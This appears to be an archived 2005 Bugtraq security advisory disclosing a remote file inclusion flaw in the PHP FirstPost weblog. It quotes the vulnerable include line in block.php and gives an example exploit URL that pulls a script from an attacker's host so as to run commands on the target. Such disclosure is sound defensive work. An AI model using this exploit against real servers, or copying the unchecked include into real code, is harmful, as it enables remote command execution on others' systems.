[39888] in bugtraq

home help back first fref pref prev next nref lref last post

PHP FirstPost remote file include vulnerability

daemon@ATHENA.MIT.EDU (gb.network@gmail.com)
Mon Jul 25 11:42:40 2005

Date: 24 Jul 2005 01:53:18 -0000
Message-ID: <20050724015318.13792.qmail@securityfocus.com>
Content-Type: text/plain
Content-Disposition: inline
Content-Transfer-Encoding: binary
MIME-Version: 1.0
From: gb.network@gmail.com
To: bugtraq@securityfocus.com

Language: PHP
Project name: PHP FirstPost
Risk:High
Home page: http://phpfirstpost.sourceforge.net
Discovered by: ][GB][

[Description]:

PHP FirstPost is yet another PHP weblog. This one, however, is based
on Scoop, and has the open submission queue and comment rating system.

A vulnerability exists in PHP FirstPost, which could allow any remote
user to include a php script for execute arbitrary commands on the
target system.

[Details]:

The problem exists is in the file "block.php" when includes the
variable $Include

<?php if($Include) { include($Include); }; ?>

[Exploitation example]:

http://[target]/path_to_script/block.php?Include=http://[attacker]/cmd.gif?&cmd=|command|

[Credits]:
thanks to Zetha

also greetz to:
uyx
r3v3ng4ns
b-04
LINUX
HaCkZaTaN
beford
Mafia_boy
lithyum
darksteel
caffa
nologro
unicked

... and all the ppl of irc.gigachat.net #Uruguay, #ASC & #SWC

home help back first fref pref prev next nref lref last post